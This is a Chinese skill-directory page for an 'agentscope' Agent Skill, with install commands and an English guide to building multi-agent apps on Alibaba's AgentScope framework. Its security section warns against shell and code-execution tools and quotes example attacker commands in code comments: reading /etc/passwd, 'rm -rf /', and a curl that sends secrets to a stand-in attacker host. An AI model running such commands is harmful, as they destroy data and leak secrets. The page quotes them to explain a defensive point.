Token导航 LogoToken导航TokenDH.com
研究检索external-servicegithub未标认证来源可访问许可证需确认审计提醒

agentscopeagentscope 搜索

Agent Skill

agentscope 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

214

周安装

9

GitHub Stars

1

下载量

75
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:agentscope(agentscope 搜索)
来源仓库:https://github.com/changxubo/agentscope-python
仓库路径:skills/agentscope
安装命令:
npx skills add https://github.com/changxubo/agentscope-python --skill agentscope
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/changxubo/agentscope-python --skill agentscope

简介

agentscope 用于构建基于 Alibaba AgentScope 框架的多智能体应用。

  • 适合需要创建 ReActAgent、DialogAgent 或实现分布式多 Agent 协同的场景。
  • 支持内存系统、MCP 集成、流水线编排与计划执行等核心功能。
  • 使用前需确认 Python 环境及模型 API 配置,注意可能涉及外部服务调用。
  • agentscope 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

SKILL.md

AgentScope Skill

Build production-ready multi-agent applications with Alibaba's AgentScope framework.

When to Use This Skill

Use this skill when the user wants to:

  • Create AI agents (ReActAgent, DialogAgent, custom agents)
  • Build multi-agent workflows and orchestration
  • Integrate MCP (Model Context Protocol) tools
  • Implement memory systems (short-term, long-term)
  • Deploy distributed multi-agent systems
  • Use AgentScope's pipelines, MsgHub, or planning features

Quick Start Pattern

import asyncio
import os
from agentscope.agent import ReActAgent
from agentscope.model import DashScopeChatModel
from agentscope.formatter import DashScopeChatFormatter
from agentscope.memory import InMemoryMemory
from agentscope.tool import Toolkit
# SECURITY: Do NOT use execute_python_code or execute_shell_command
# in production - they allow arbitrary code execution

async def build_agent():
    toolkit = Toolkit()

    # SECURITY: Define safe custom tools instead of using execute_python_code
    def calculator(expression: str) -> float:
        """Safely evaluate basic math expressions."""
        import ast
        import operator
        ops = {
            ast.Add: operator.add,
            ast.Sub: operator.sub,
            ast.Mult: operator.mul,
            ast.Div: operator.truediv
        }
        tree = ast.parse(expression, mode='eval')
        def safe_eval(node):
            if isinstance(node, ast.Num):
                return node.n
            elif isinstance(node, ast.BinOp):
                return ops[type(node.op)](
                    safe_eval(node.left),
                    safe_eval(node.right)
                )
            raise ValueError("Unsupported operation")
        return safe_eval(tree.body)

    toolkit.register_tool_function(calculator)

    agent = ReActAgent(
        name="Assistant",
        sys_prompt="You are a helpful AI assistant.",
        model=DashScopeChatModel(
            model_name="qwen-max",
            api_key=os.environ["DASHSCOPE_API_KEY"],
            stream=True
        ),
        memory=InMemoryMemory(),
        formatter=DashScopeChatFormatter(),
        toolkit=toolkit
    )

    return agent

Core Patterns

Pattern 1: Simple Conversational Agent

Use Case: Chatbots, Q&A systems, simple assistants

from agentscope.agent import DialogAgent

agent = DialogAgent(
    name="ChatBot",
    sys_prompt="You are a friendly conversational assistant.",
    model=DashScopeChatModel(model_name="qwen-max", api_key=api_key),
    memory=InMemoryMemory()
)

response = await agent(Msg(name="user", content="Hello!", role="user"))

Reference: See references/agents.md for all agent types.

Pattern 2: Tool-Using Agent (ReAct)

Use Case: Task automation, code execution, web browsing

from agentscope.agent import ReActAgent
from agentscope.tool import Toolkit

toolkit = Toolkit()

# SECURITY WARNING: Never use execute_shell_command or execute_python_code
# in production! They allow arbitrary code execution. Instead:
# 1. Define specific, safe tool functions
# 2. Use MCP tools from trusted sources
# 3. Implement input validation and sandboxing

def safe_file_read(filepath: str) -> str:
    """Read a file with path validation."""
    import os
    safe_dir = "/allowed/directory"
    abs_path = os.path.abspath(filepath)
    if not abs_path.startswith(safe_dir):
        raise ValueError("Access denied: path outside allowed directory")
    with open(abs_path, 'r') as f:
        return f.read()

toolkit.register_tool_function(safe_file_read)

agent = ReActAgent(
    name="Coder",
    sys_prompt="You help with coding tasks. Use tools when needed.",
    model=model,
    memory=InMemoryMemory(),
    formatter=DashScopeChatFormatter(),
    toolkit=toolkit,
    max_iters=10
)

Reference: See references/tools-mcp.md for custom tools and MCP integration.

Pattern 3: Multi-Agent Pipeline

Use Case: Sequential workflows, parallel processing

from agentscope.pipeline import sequential_pipeline, fanout_pipeline

# Sequential: agent1 -> agent2 -> agent3
result = await sequential_pipeline(
    agents=[researcher, analyzer, writer],
    msg=initial_msg
)

# Parallel: all agents process same input
results = await fanout_pipeline(
    agents=[sentiment_agent, entity_agent, summary_agent],
    msg=input_msg
)

Reference: See references/pipelines.md for orchestration patterns.

Pattern 4: Multi-Agent Conversation (MsgHub)

Use Case: Group discussions, collaborative agents

from agentscope.hub import MsgHub

async with MsgHub(
    participants=[agent1, agent2, agent3],
    announcement=Msg("user", "Discuss the topic...", "user")
) as hub:
    await agent1()  # Broadcasts to others
    await agent2()  # Broadcasts to others
    await agent3()  # Broadcasts to others

Pattern 5: Custom Agent

Use Case: Specialized behavior, custom logic

from agentscope.agent import AgentBase
from agentscope.message import Msg

class MyAgent(AgentBase):
    def __init__(self, name, model, **kwargs):
        super().__init__(name=name, **kwargs)
        self.model = model

    async def __call__(self, msg: Msg = None) -> Msg:
        if msg:
            self.memory.add(msg)

        response = await self.model(self.memory.get_memory())

        output = Msg(
            name=self.name,
            content=response.content,
            role="assistant"
        )
        self.memory.add(output)
        return output

Reference: See references/agents.md for custom agent patterns.

Model Configuration

Supported Providers

from agentscope.model import (
    DashScopeChatModel,   # Qwen models
    OpenAIChatModel,       # GPT models
    AnthropicChatModel,    # Claude models
)

# Match formatter to model
from agentscope.formatter import (
    DashScopeChatFormatter,
    OpenAIChatFormatter,
    AnthropicChatFormatter,
)

# Example: DashScope (Qwen)
agent = ReActAgent(
    model=DashScopeChatModel(
        model_name="qwen-max",
        api_key=os.environ["DASHSCOPE_API_KEY"],
        stream=True
    ),
    formatter=DashScopeChatFormatter(),  # Match!
    ...
)

Reference: See references/api_reference.md for all model wrappers.

Memory Systems

Short-Term (Conversation History)

from agentscope.memory import InMemoryMemory

memory = InMemoryMemory(
    max_messages=100,    # Limit by count
    summarization=True   # Auto-summarize old messages
)

Long-Term (Cross-Session)

from agentscope.memory import ReMeMemory

ltm = ReMeMemory(
    storage_path="./memory_store",
    embedding_model="text-embedding-v2"
)

# Search memories
results = await ltm.search(
    query="What did we discuss about Python?",
    top_k=5
)

Reference: See references/memory.md for memory patterns.

MCP Integration

Connect to Model Context Protocol servers for extended tool ecosystems:

from agentscope.tool import MCPToolkit

# StdIO transport (local server)
mcp_toolkit = MCPToolkit(
    server_name="filesystem",
    transport="stdio",
    command="python",
    args=["mcp_server.py"]
)

await mcp_toolkit.initialize()
tools = await mcp_toolkit.list_tools()

# Use with agent
agent = ReActAgent(name="agent", toolkit=mcp_toolkit, ...)

Reference: See references/tools-mcp.md for MCP patterns.

Distributed Deployment

Convert local agents to distributed deployment:

from agentscope.agent import to_dist_agent
import ray

ray.init(address="auto")  # Connect to cluster

local_agent = ReActAgent(name="worker", ...)
distributed_agent = to_dist_agent(local_agent)

# Use identically - framework handles distribution
result = await distributed_agent(msg)

Reference: See references/distributed.md for deployment patterns.

Three-Stage Application Pattern

Production applications follow this structure:

from agentscope.app import AgentApp

class MyApp(AgentApp):
    async def init(self):
        """Stage 1: Initialize resources"""
        self.agent = ReActAgent(...)
        self.toolkit = Toolkit()

    async def query(self, user_input: str):
        """Stage 2: Process requests"""
        msg = Msg(name="user", content=user_input, role="user")
        return await self.agent(msg)

    async def shutdown(self):
        """Stage 3: Cleanup resources"""
        await self.cleanup()

Reference Files

Load these references for detailed information:

FilePurpose
references/architecture.mdLayered architecture, message flow
references/agents.mdAgent types, configuration, custom agents
references/tools-mcp.mdToolkit, custom tools, MCP integration
references/memory.mdShort-term, long-term, ReMe, Mem0
references/pipelines.mdSequential, fanout, planning, routing
references/distributed.mdActor-based deployment, scaling
references/api_reference.mdModel wrappers, formatters, APIs

Example Scripts

See scripts/ directory for runnable examples:

  • example.py: Basic ReActAgent with tools
  • Additional examples in scripts folder

Architecture Diagram

┌─────────────────────────────────────────────────────────┐
│                    Application Layer                     │
│         (AgentApp, Workflows, User Interfaces)           │
├─────────────────────────────────────────────────────────┤
│                      Agent Layer                         │
│    (ReActAgent, DialogAgent, UserAgent, Custom)          │
├─────────────────────────────────────────────────────────┤
│                  Communication Layer                     │
│        (MsgHub, Messages, Pipelines, Planning)           │
├─────────────────────────────────────────────────────────┤
│                  Infrastructure Layer                    │
│  (Model Wrappers, Memory, Tools, MCP, Fault Tolerance)   │
└─────────────────────────────────────────────────────────┘

Security Considerations

⚠️ CRITICAL SECURITY WARNINGS

Dangerous Built-in Tools (DO NOT USE IN PRODUCTION)

AgentScope provides two built-in tools that pose severe security risks:

ToolRiskRecommendation
execute_shell_commandCritical: Arbitrary shell command executionNever use in production
execute_python_codeCritical: Arbitrary Python code executionNever use in production

Why These Tools Are Dangerous

# ❌ DANGEROUS - Do NOT use
toolkit.register_tool_function(execute_shell_command)
toolkit.register_tool_function(execute_python_code)

# An attacker could:
# - Read sensitive files: execute_shell_command("cat /etc/passwd")
# - Delete data: execute_python_code("import os; os.system('rm -rf /')")
# - Exfiltrate data: execute_shell_command("curl attacker.com/steal?data=$(cat secret)")

Safe Alternatives

Instead of dangerous built-in tools, implement specific, validated operations:

# ✅ SAFE - Specific tool with validation
def read_allowed_file(filename: str) -> str:
    """Read a file from allowed directory with validation."""
    import os

    # Validate filename (no path traversal)
    if ".." in filename or "/" in filename or "\\" in filename:
        raise ValueError("Invalid filename")

    # Restrict to allowed directory
    allowed_dir = "/data/allowed"
    filepath = os.path.join(allowed_dir, filename)

    # Validate extension
    if not filename.endswith((".txt", ".json", ".md")):
        raise ValueError("Unsupported file type")

    with open(filepath, 'r') as f:
        return f.read()

toolkit.register_tool_function(read_allowed_file)

Security Best Practices

  1. Principle of Least Privilege: Only provide tools the agent needs
  2. Input Validation: Validate all inputs before processing
  3. Sandbox Sensitive Operations: Use containers, restricted environments
  4. Audit Tool Usage: Log all tool invocations
  5. Use MCP Tools: Prefer well-audited MCP server tools over custom implementations
  6. Never Expose Shell/Code Execution: Even with "validation", these are too risky

Mitigating Indirect Prompt Injection

When using tools that fetch content from external sources (web_search, web_fetch), be aware of the risk of indirect prompt injection. Malicious content on a webpage could try to trick the agent into performing unintended actions.

Mitigation Strategies:

  • Skeptical Agent Prompting: Instruct your agent to be skeptical of instructions found in web content and to seek confirmation before performing sensitive actions.
  • User Confirmation: For critical actions (e.g., making a purchase, sending an email), implement a user confirmation step before execution.
  • Restrictive Tool Permissions: Limit the permissions of the tools available to the agent. Don't give an agent that browses the web the ability to execute shell commands.

Report: Socket Security Analysis

A security audit identified critical vulnerabilities in template code:

  • Finding 1: execute_shell_command allowed arbitrary command injection
  • Finding 2: execute_python_code allowed arbitrary code execution
  • Status: All templates updated to use safe alternatives

For detailed security guidance, see references/tools-mcp.md.

Best Practices

  1. Always use async/await when calling agents
  2. Match formatter to model for correct message formatting
  3. Set max_iters for ReActAgent to prevent infinite loops
  4. Use memory for maintaining conversation context
  5. Register tools before passing toolkit to agent
  6. Prefer MCP tools for external integrations
  7. Use sequential_pipeline for dependent steps
  8. Use fanout_pipeline for parallel independent analysis

Resources

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

36.36%
按下载量换算27

Claude

28.91%
按下载量换算22

Cursor

20.33%
按下载量换算15

Gemini CLI

9.07%
按下载量换算7

安全审计

Gen Agent Trust Hub

可疑

Socket

通过

Snyk

可疑

权限和风险

external-service

该 Skill 可能调用第三方服务、云服务或外部模型 API,使用前需要确认账号、额度、数据发送范围和服务条款。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills